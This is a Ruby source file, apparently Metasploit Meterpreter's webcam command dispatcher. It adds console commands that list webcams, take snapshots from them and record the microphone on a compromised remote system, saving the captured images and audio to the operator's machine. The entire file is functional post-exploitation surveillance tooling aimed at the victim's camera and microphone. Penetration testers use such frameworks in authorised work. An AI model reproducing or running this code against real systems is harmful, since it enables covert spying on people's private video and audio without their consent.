require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# Webcam - Capture video from the remote system
#
###
class Console::CommandDispatcher::Stdapi::Webcam

	Klass = Console::CommandDispatcher::Stdapi::Webcam

	include Console::CommandDispatcher

	#
	# List of supported commands.
	#
	def commands
		all = {
			"webcam_list"   => "List webcams",
			"webcam_snap"   => "Take a snapshot from the specified webcam",
			"record_mic"    => "Record audio from the default microphone for X seconds"
		}
		reqs = {
			"webcam_list"   => [ "webcam_list" ],
			"webcam_snap"   => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
			"record_mic"    => [ "webcam_record_audio" ],
		}

		all.delete_if do |cmd, desc|
			del = false
			reqs[cmd].each do |req|
				next if client.commands.include? req
				del = true
				break
			end

			del
		end

		all
	end

	#
	# Name for this dispatcher
	#
	def name
		"Stdapi: Webcam"
	end

	def cmd_webcam_list
		begin
			client.webcam.webcam_list.each_with_index { |name, indx|
				print_line("#{indx + 1}: #{name}")
			}
			return true
		rescue
			print_error("No webcams were found")
			return false
		end
	end

	def cmd_webcam_snap(*args)
		path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
		quality = 50
		view    = true
		index   = 1
		wc_list = []

		webcam_snap_opts = Rex::Parser::Arguments.new(
			"-h" => [ false, "Help Banner" ],
			"-i" => [ true, "The index of the webcam to use (Default: 1)" ],
			"-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
			"-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
			"-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
		)

		webcam_snap_opts.parse( args ) { | opt, idx, val |
			case opt
				when "-h"
					print_line( "Usage: webcam_snap [options]\n" )
					print_line( "Grab a frame from the specified webcam." )
					print_line( webcam_snap_opts.usage )
					return
				when "-i"
					index = val.to_i
				when "-q"
					quality = val.to_i
				when "-p"
					path = val
				when "-v"
					view = false if ( val =~ /^(f|n|0)/i )
			end
		}
		begin
			wc_list << client.webcam.webcam_list
		rescue
		end
		if wc_list.length > 0
			print_status("Starting...")
			client.webcam.webcam_start(index)
			data = client.webcam.webcam_get_frame(quality)
			print_good("Got frame")
			client.webcam.webcam_stop
			print_status("Stopped")

			if( data )
				::File.open( path, 'wb' ) do |fd|
					fd.write( data )
				end
				path = ::File.expand_path( path )
				print_line( "Webcam shot saved to: #{path}" )
				Rex::Compat.open_file( path ) if view
			end
			return true
		else
			print_error("No webcams where found")
			return false
		end
	end

	def cmd_record_mic(*args)
		path    = Rex::Text.rand_text_alpha(8) + ".wav"
		play    = true
		duration   = 1

		record_mic_opts = Rex::Parser::Arguments.new(
			"-h" => [ false, "Help Banner" ],
			"-d" => [ true, "Number of seconds to record (Default: 1)" ],
			"-f" => [ true, "The wav file path (Default: '#{::File.expand_path( "[randomname].wav" )}')" ],
			"-p" => [ true, "Automatically play the captured audio (Default: '#{play}')" ]
		)

		record_mic_opts.parse( args ) { | opt, idx, val |
			case opt
				when "-h"
					print_line( "Usage: record_mic [options]\n" )
					print_line( "Records audio from the default microphone." )
					print_line( record_mic_opts.usage )
					return
				when "-d"
					duration = val.to_i
				when "-f"
					path = val
				when "-p"
					play = false if ( val =~ /^(f|n|0)/i )
			end
		}

		print_status("Starting...")
		data = client.webcam.record_mic(duration)
		print_status("Stopped")

		if( data )
			::File.open( path, 'wb' ) do |fd|
				fd.write( data )
			end
			path = ::File.expand_path( path )
			print_line( "Audio saved to: #{path}" )
			Rex::Compat.play_sound( path ) if play
		end
		return true
	end

end

end
end
end
end

